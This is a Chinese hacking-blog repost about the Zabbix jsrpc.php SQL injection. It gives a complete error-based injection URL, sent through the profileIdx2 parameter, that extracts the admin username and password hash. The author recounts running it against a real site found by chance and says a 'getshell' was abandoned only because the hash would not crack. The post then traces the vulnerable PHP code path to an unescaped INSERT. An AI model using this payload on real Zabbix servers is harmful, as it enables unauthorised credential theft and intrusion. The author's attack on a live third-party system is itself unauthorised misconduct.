记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

zabbix系统注入漏洞

2017-02-21 22:00

这个漏洞在之前也是疯狂的被刷了一波,但是很多小伙伴不晓得咋搞。今天小组就给大伙普及普及吧。

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题

然后,注入是发生在文件jsrpc.php中,

然后我们测试的语句是这个/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php &profileIdx=web.item.graph&profileIdx2=(select (1) from users where 1=1 aNd (SELECT 1  FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(alias, 0x7e,passwd,0x7e) from users limit 1)),1,62)))a from information_schema.tables group  by a)b))&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

我也是运气好,找到了一个站,

然后就测试了一下这个漏洞的利用过程

首先是zabbix.xxx.com

然后打开页面是登录

zabbix系统注入漏洞-Web安全

然后语句测试   zabbix.xxx.com/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php%20&profileIdx=web.item.graph&profileIdx2=(select%20(1)%20from%20users%20where%201=1%20aNd%20(SELECT%201%20%20FROM%20(select%20count(*),concat(floor(rand(0)*2),(substring((Select%20(select%20concat(alias,%200x7e,passwd,0x7e)%20from%20users%20limit%201)),1,62)))a%20from%20information_schema.tables%20group%20%20by%20a)b))&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

爆出用户and密码

zabbix系统注入漏洞-Web安全

cmd5我解密不出来,所有就没有进行下面的getshell啥的。

注入流程

jsrpc.php:182→CScreenBuilder::getScreen()→CScreenBase::calculateTime()→CProfile::update()

→page_footer.php:40→CProfile::flush()→CProfile::insertDB()→DBexecute()

在漏洞文件jsrpc.php中:

$requestType = getRequest('type', PAGE_TYPE_JSON);

if ($requestType == PAGE_TYPE_JSON) {

$http_request = new CHttpRequest();

$json = new CJson();

$data = $json->decode($http_request->body(), true);

}

else {

$data = $_REQUEST;

}

$page['title'] = 'RPC';

$page['file'] = 'jsrpc.php';

$page['type'] = detect_page_type($requestType);

require_once dirname(__FILE__).'/include/page_header.php';

if (!is_array($data) || !isset($data['method'])

|| ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {

fatal_error('Wrong RPC call to JS RPC!');

}

$result = [];

switch ($data['method']) {

...

case 'screen.get':

$result = '';

$screenBase = CScreenBuilder::getScreen($data);

if ($screenBase !== null) {

$screen = $screenBase->get();

if ($data['mode'] == SCREEN_MODE_JS) {

$result = $screen;

}

else {

if (is_object($screen)) {

$result = $screen->toString();

}

}

}

break;

...

require_once dirname(__FILE__).'/include/page_footer.php';

通过类 CScreenBuilder 中的 getScreen 方法处理 $data 传入的数据。继续跟踪 CScreenBuilder 类:

/**

* Init screen data.

*

* @param array$options

* @param boolean$options['isFlickerfree']

* @param string$options['pageFile']

* @param int$options['mode']

* @param int$options['timestamp']

* @param int$options['hostid']

* @param int$options['period']

* @param int$options['stime']

* @param string$options['profileIdx']

* @param int$options['profileIdx2']

* @param boolean$options['updateProfile']

* @param array$options['screen']

*/

public function __construct(array $options = []) {

$this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true;

$this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW;

$this->timestamp = !empty($options['timestamp']) ? $options['timestamp'] : time();

$this->hostid = !empty($options['hostid']) ? $options['hostid'] : null;

// get page file

if (!empty($options['pageFile'])) {

$this->pageFile = $options['pageFile'];

}

else {

global $page;

$this->pageFile = $page['file'];

}

// get screen

if (!empty($options['screen'])) {

$this->screen = $options['screen'];

}

elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) {

$this->screen = API::Screen()->get([

'screenids' => $options['screenid'],

'output' => API_OUTPUT_EXTEND,

'selectScreenItems' => API_OUTPUT_EXTEND,

 

'editable' => ($this->mode == SCREEN_MODE_EDIT)

]);

if (!empty($this->screen)) {

$this->screen = reset($this->screen);

}

else {

access_deny();

}

}

// calculate time

$this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';

$this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;

$this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

$this->timeline = CScreenBase::calculateTime([

'profileIdx' => $this->profileIdx,

'profileIdx2' => $this->profileIdx2,

'updateProfile' => $this->updateProfile,

'period' => !empty($options['period']) ? $options['period'] : null,

'stime' => !empty($options['stime']) ? $options['stime'] : null

]);

}

CScreenBuilder 类对 $profiles 进行了更新,并且对 PoC 中的 profileIdx2 参数进行了赋值,但还没有传入数据库查询。

漏洞文件 jsrpc.php 中引入了 page_footer.php, page_footer.php会调用Cprofile 类:

if (CProfile::isModified()) {

DBstart();

$result = CProfile::flush();

DBend($result);

}

跟踪 flush 函数:

public static function flush() {

$result = false;

if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {

$result = true;

foreach (self::$insert as $idx => $profile) {

foreach ($profile as $idx2 => $data) {

$result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);

}

}

ksort(self::$update);

foreach (self::$update as $idx => $profile) {

ksort($profile);

foreach ($profile as $idx2 => $data) {

$result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);

}

}

}

return $result;

}

...

private static function insertDB($idx, $value, $type, $idx2) {

$value_type = self::getFieldByType($type);

$values = [

'profileid' => get_dbid('profiles', 'profileid'),

'userid' => self::$userDetails['userid'],

'idx' => zbx_dbstr($idx),

$value_type => zbx_dbstr($value),

'type' => $type,

'idx2' => $idx2

];

//注入触发点

return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');

}

 

 

知识来源: www.0-sec.org/2017/02/21/zabbix%e7%b3%bb%e7%bb%9f%e6%b3%a8%e5%85%a5%e6%bc%8f%e6%b4%9e/

阅读:135860 | 评论:0 | 标签:安全文章 注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“zabbix系统注入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云